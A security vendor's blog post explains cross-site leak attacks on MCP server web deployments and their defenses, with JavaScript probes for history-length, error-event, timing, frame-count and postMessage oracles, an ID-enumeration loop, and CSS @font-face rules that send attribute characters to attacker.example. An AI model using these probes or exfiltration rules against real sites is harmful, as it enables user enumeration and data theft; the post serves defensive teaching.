Blog · MCP Server Security

MCP server cross-site leak (XS-Leak) security — history oracle, timing side-channels, Fetch Metadata

Cross-site leaks (XS-Leaks) are a class of side-channel attack where a page from one origin infers the state of a cross-origin resource without requiring CORS permission. Unlike CSRF, the attacker does not modify state — they observe it. An attacker page can determine whether a private audit ID exists, whether a user is logged in, whether a specific search term returns results, or whether a resource is cached — all by measuring browser-observable side effects of cross-origin requests. MCP server deployments with private resource URLs, authentication-gated endpoints, and variable-response-time APIs are systematically vulnerable.

What makes XS-Leaks different from CORS bypass

CORS controls whether JavaScript on one origin can read the body of a cross-origin response. XS-Leaks exploit the fact that even when CORS blocks the response body, the browser still exposes observable side effects: did the load succeed or fail? How long did the response take? Did the browser redirect? Did the page open any popups? Did the history stack change? These side effects are measurable without any CORS header at all.

XS-Leaks are particularly relevant to MCP servers because:

History oracle — resource existence via redirect differential

When a browser navigates to a URL, the history.length counter increments once per page in the history stack — including intermediate 302 redirects that add entries in some browser implementations. An attacker page can navigate a popup to a target URL, then measure history.length after the navigation completes to distinguish between response types.

// History oracle attack against private MCP audit IDs
// Attacker page at: https://attacker.example/probe.html

async function probeAuditId(auditId) {
  const win = window.open('about:blank');
  const startLen = win.history.length;

  // Navigate to the private audit URL
  win.location = `https://skillaudit.dev/audits/${auditId}`;

  await new Promise(resolve => {
    win.addEventListener('load', resolve, { once: true });
    // In practice, use setTimeout with polling since cross-origin load events
    // may not be accessible — but history.length is accessible on popup windows
    // opened by this page, even cross-origin (same browsing context group)
  });

  const endLen = win.history.length;
  win.close();

  // 302 redirect (exists, authenticated user) adds extra history entry in some browsers
  // 404 (not found) — no redirect, stays at same history depth
  // 200 (exists, public) — direct load
  return endLen > startLen + 1 ? 'exists_redirected' : 'not_found_or_direct';
}

// Enumerate private audit IDs
const knownPrefix = 'aud_';
for (let i = 1000; i < 2000; i++) {
  const result = await probeAuditId(knownPrefix + i);
  if (result === 'exists_redirected') console.log(`Found: ${knownPrefix}${i}`);
  await new Promise(r => setTimeout(r, 100)); // Rate limiting
}

// Defense: COOP: same-origin prevents window.open() from returning a usable handle
// Response header: Cross-Origin-Opener-Policy: same-origin
// With COOP, win.history is inaccessible from the opener page.

COOP is the primary defense: Cross-Origin-Opener-Policy: same-origin severs the browsing context group relationship between the opener and the opened window. After navigation to a cross-origin URL, win.history, win.length, and all properties of the window reference become inaccessible — the history oracle is neutralized.

Error-based XS-Leaks — onerror vs onload as existence oracle

Cross-origin resource loads from <img>, <script>, <link rel="stylesheet">, or <iframe> fire either onerror or onload depending on whether the server returned a successful response. The attacker cannot read the response body, but the binary error/load signal distinguishes "resource exists with correct Content-Type" from "resource returns 404 or wrong Content-Type or network error".

// Error-based XS-Leak: existence oracle via img onerror/onload
function probeResourceExists(url) {
  return new Promise(resolve => {
    const img = new Image();
    img.onload = () => resolve(true);   // Server returned 200 with image content
    img.onerror = () => resolve(false); // 404, 403, or non-image Content-Type
    img.src = url;
    // For non-image resources, onerror fires even on 200 responses
    // So this distinguishes 200-image from 404/403/non-image
  });
}

// For iframe-based probing (distinguishes any 200 from any 4xx/5xx):
function probeIframeLoad(url) {
  return new Promise(resolve => {
    const iframe = document.createElement('iframe');
    iframe.onload = () => { resolve('loaded'); iframe.remove(); };
    iframe.onerror = () => { resolve('error'); iframe.remove(); };
    iframe.src = url;
    document.body.appendChild(iframe);
  });
}

// Defense: Cross-Origin-Resource-Policy header on authenticated resources
// Response header: Cross-Origin-Resource-Policy: same-origin
// This causes the browser to block the load entirely for cross-origin requests,
// making onerror fire for BOTH 200 and 4xx responses —
// the attacker can no longer distinguish existence from non-existence.

// For API endpoints that return JSON (not loadable as img):
// Cross-Origin-Resource-Policy: same-site  (allows subdomain loads, blocks cross-site)
// Cross-Origin-Resource-Policy: same-origin (strictest — only same origin)

Timing oracles — response time as state discriminator

MCP tool invocation endpoints that perform input validation, database lookups, or authentication checks before returning a response expose timing side-channels. An endpoint that returns "user not found" faster than "user found, password incorrect" allows username enumeration. An audit lookup that returns faster for non-existent IDs than for existing private IDs allows private audit discovery. The attacker measures performance.now() delta across many requests and applies statistical analysis to discriminate between states.

// Timing oracle for MCP tool endpoint — username enumeration example
async function measureResponseTime(username) {
  const samples = [];
  for (let i = 0; i < 10; i++) {
    const t0 = performance.now();
    await fetch('https://skillaudit.dev/api/auth/check-user', {
      method: 'POST',
      credentials: 'include',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ username })
    });
    samples.push(performance.now() - t0);
  }
  // Median response time
  samples.sort((a, b) => a - b);
  return samples[Math.floor(samples.length / 2)];
}

// 200ms median = user exists (bcrypt password hash computation)
// 2ms median = user not found (early return before bcrypt)
const existingUser = await measureResponseTime('admin@skillaudit.dev');   // ~200ms
const unknownUser = await measureResponseTime('ghost@nowhere.example');   // ~2ms

// Defense: constant-time response for authentication endpoints
async function checkUser(username) {
  const user = await db.findUser(username);
  // Always compute bcrypt — even for non-existent users
  // Use a dummy hash to compare against when user doesn't exist
  const DUMMY_HASH = '$2b$12$AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
  const passwordToCheck = user ? user.passwordHash : DUMMY_HASH;
  await bcrypt.compare('dummy-input', passwordToCheck); // Always takes ~200ms
  return user !== null;
}

Frame counting — window.length as state oracle

window.length returns the number of frames (iframes or popups) opened by a page. If a page's behavior depends on the user's authentication state — e.g., an authenticated user sees a dashboard with three embedded widgets, an unauthenticated user sees a login page with no frames — the frame count differs and is observable cross-origin from a popup or parent window.

// Frame counting oracle
function countFrames(url) {
  return new Promise(resolve => {
    const win = window.open(url);
    // After page load, count embedded frames
    win.addEventListener('load', () => {
      resolve(win.length); // Number of iframes/frames on the page
      win.close();
    });
  });
}

// Authenticated dashboard with 3 widget iframes: win.length === 3
// Unauthenticated login page with no iframes: win.length === 0
// This distinguishes logged-in vs logged-out state across origins

// Defense: COOP: same-origin prevents win.length access after cross-origin navigation
// Without COOP, win.length is accessible even cross-origin

// Response header on all authenticated pages:
// Cross-Origin-Opener-Policy: same-origin

// After COOP: win.length throws or returns undefined for cross-origin pages

CSS injection as data exfiltration

If an attacker can inject a CSS rule into a page — via a stored CSS injection vector in tool output, a style attribute on injected HTML, or a CSS variable that accepts arbitrary values — the injected CSS can exfiltrate attribute values using @font-face URL requests keyed on attribute selectors. This is particularly relevant to MCP server UIs that render tool output with partial HTML sanitization that allows style attributes or CSS custom properties.

/* CSS injection data exfiltration via @font-face + attribute selector */
/* Attacker injects this CSS into the MCP server UI page */

/* Leak the first character of a data-session attribute */
@font-face {
  font-family: leak-a;
  src: url('https://attacker.example/collect?char=a');
}
@font-face {
  font-family: leak-b;
  src: url('https://attacker.example/collect?char=b');
}
/* ... one @font-face per possible character value ... */

[data-userid^="a"] { font-family: leak-a; }
[data-userid^="b"] { font-family: leak-b; }
/* When browser renders element matching selector, it fetches the @font-face URL */
/* Attacker's server receives the matching character */

/* Defense: Content-Security-Policy blocks attacker's font fetch */
/* Content-Security-Policy: font-src 'self' https://trusted-fonts.example */

/* Also: Sanitizer API / DOMPurify removes style attributes from tool output */
/* Sanitizer default config blocks style attribute — use it for tool output rendering */

postMessage timing leaks

When a page sends postMessage to a cross-origin frame and measures the time until a reply arrives, the reply latency reflects the target page's computational state. An MCP tool result page that processes different amounts of data depending on user-specific content (more audit results, more tool outputs, longer history) has variable postMessage reply latency — measurable from the embedding page as a proxy for data volume.

// postMessage timing oracle
async function measureProcessingTime(frame, message) {
  return new Promise(resolve => {
    const t0 = performance.now();
    window.addEventListener('message', function handler(e) {
      if (e.source !== frame.contentWindow) return;
      window.removeEventListener('message', handler);
      resolve(performance.now() - t0);
    });
    frame.contentWindow.postMessage(message, 'https://skillaudit.dev');
  });
}

// Defense: validate postMessage origin strictly and add jitter to responses
window.addEventListener('message', async (event) => {
  if (event.origin !== 'https://trusted-parent.skillaudit.dev') return;

  // Process the message
  const result = await processRequest(event.data);

  // Add random jitter to normalize response time (reduce timing oracle precision)
  const jitter = Math.random() * 50; // 0-50ms uniform jitter
  await new Promise(r => setTimeout(r, jitter));

  event.source.postMessage(result, event.origin);
});

Storage partitioning — the browser-level XS-Leak mitigation

Cache probing XS-Leaks relied on the fact that browser caches were historically shared across origins — if a resource was cached by any origin, a different origin could measure fast load time versus slow network load time. Modern browsers (Chrome 86+, Firefox 85+, Safari has always done this) partition the HTTP cache by top-level site: a resource cached while visiting attacker.example does not populate the cache used when visiting skillaudit.dev. This eliminates cache-timing XS-Leaks. Storage partitioning also applies to IndexedDB, localStorage, and service worker registrations — each top-level site gets an isolated storage partition even for the same origin loaded in a frame.

Fetch Metadata — server-side navigation type validation

The Sec-Fetch-Site, Sec-Fetch-Mode, and Sec-Fetch-Dest request headers are set by the browser on every fetch and navigation. Unlike Origin and Referer, Fetch Metadata headers cannot be forged by JavaScript (they are set by the browser fetch infrastructure). Server-side validation of these headers allows rejecting requests that don't match the expected navigation pattern — for example, a request to /audits/private-id with Sec-Fetch-Site: cross-site is a cross-origin probe, not a legitimate user navigation.

// Fetch Metadata validation middleware (Node.js/Express)
function fetchMetadataPolicy(allowedModes = ['navigate', 'same-origin']) {
  return (req, res, next) => {
    const site = req.headers['sec-fetch-site'];
    const mode = req.headers['sec-fetch-mode'];
    const dest = req.headers['sec-fetch-dest'];

    // If headers are absent, browser is old or request is from a non-browser client
    // For API endpoints, require headers to be present
    if (!site) return next(); // Allow non-browser clients (curl, MCP client libraries)

    // Reject cross-site navigations to authenticated resource endpoints
    if (site === 'cross-site' && dest === 'document') {
      // Cross-site top-level navigation to authenticated resource
      // This is the pattern used by history oracle attacks
      // Return identical response to legitimate navigation to prevent existence oracle
      return res.redirect(302, '/login'); // Same response for any cross-site probe
    }

    // Reject cross-site subresource requests (iframe probing, img probing)
    if (site === 'cross-site' && ['image', 'iframe', 'script', 'style'].includes(dest)) {
      res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
      return res.status(403).end(); // Block cross-origin subresource probing
    }

    next();
  };
}

// Apply to authenticated resource routes
app.use('/audits', fetchMetadataPolicy());
app.use('/api/tools', fetchMetadataPolicy());

// Key Fetch Metadata header values:
// Sec-Fetch-Site: same-origin | same-site | cross-site | none
// Sec-Fetch-Mode: navigate | cors | no-cors | same-origin | websocket
// Sec-Fetch-Dest: document | iframe | image | script | style | fetch | empty | ...

XS-Leak mitigations reference

XS-Leak type Side channel Primary mitigation Secondary mitigation
History oracle history.length after cross-origin navigation Cross-Origin-Opener-Policy: same-origin Consistent redirect behavior (always 302 or never)
Error-based probing onerror vs onload on img/iframe/script Cross-Origin-Resource-Policy: same-origin Require CORS preflight for all authenticated resources
Timing oracle Response latency differentials Constant-time responses (add jitter or wait for fixed duration) Rate limiting; add random delay per-request
Frame counting window.length of popup or parent Cross-Origin-Opener-Policy: same-origin Remove frame count dependency from auth state
Cache probing Load time for cached vs uncached resources Browser storage partitioning (Chrome 86+, Firefox 85+) Vary: Sec-Fetch-Site to prevent cross-site cache sharing
CSS injection exfil @font-face URL fetches keyed on attribute selectors CSP font-src 'self'; sanitize style attributes Sanitizer API / DOMPurify on all tool output
postMessage timing Reply latency as data volume proxy Add random jitter to postMessage replies Validate message origin strictly; rate limit message handling
Cross-site navigation probing Sec-Fetch-Site header absent or cross-site on auth endpoints Fetch Metadata server-side validation Return identical responses for exist vs not-exist for cross-site probes

SkillAudit findings for XS-Leak vulnerabilities

SkillAudit's XS-Leak scanner probes MCP server endpoints from a cross-origin context, measuring response differentials, timing distributions, and browsing context group relationships. The scanner tests each finding class independently and reports exploitability based on the information leaked and the authentication context required.

CRITICAL −20 Resource existence oracle via 302/404 differential: Authenticated resource endpoints return distinguishable responses (302 redirect to login vs 404 not found vs 200 success) for cross-site navigation probes, exposing private resource IDs via history.length oracle without requiring CORS permission or authentication.
HIGH −18 Missing CORP header on authenticated API endpoints: Authenticated API and resource endpoints do not set Cross-Origin-Resource-Policy: same-origin, enabling error-based XS-Leak probing via iframe and img element onerror/onload events to distinguish resource existence, authentication state, and authorization boundaries.
HIGH −16 No Fetch Metadata validation (cross-site navigation allowed to authenticated resources): Server does not inspect Sec-Fetch-Site headers on authenticated resource routes. Cross-site navigation probes to private resource URLs receive the same response differential as same-origin navigations, enabling systematic URL enumeration from attacker-controlled pages.
MEDIUM −10 Response time not constant (timing oracle for valid vs invalid IDs): Authenticated lookup endpoints return measurably faster responses for non-existent IDs than for existing private IDs (or vice versa), enabling timing-based existence probing across statistically significant request samples from a cross-site attacker page.

See also: MCP server CORS preflight security covers how CORS and CORP interact for cross-origin resource access control. MCP server COOP/COEP cross-origin isolation covers the full cross-origin isolation policy stack that neutralizes multiple XS-Leak classes simultaneously.

Scan your MCP server for XS-Leak vulnerabilities with SkillAudit. Our scanner probes from cross-origin contexts, measures response time distributions, and validates COOP/CORP/Fetch Metadata header coverage. View pricing and start a free scan.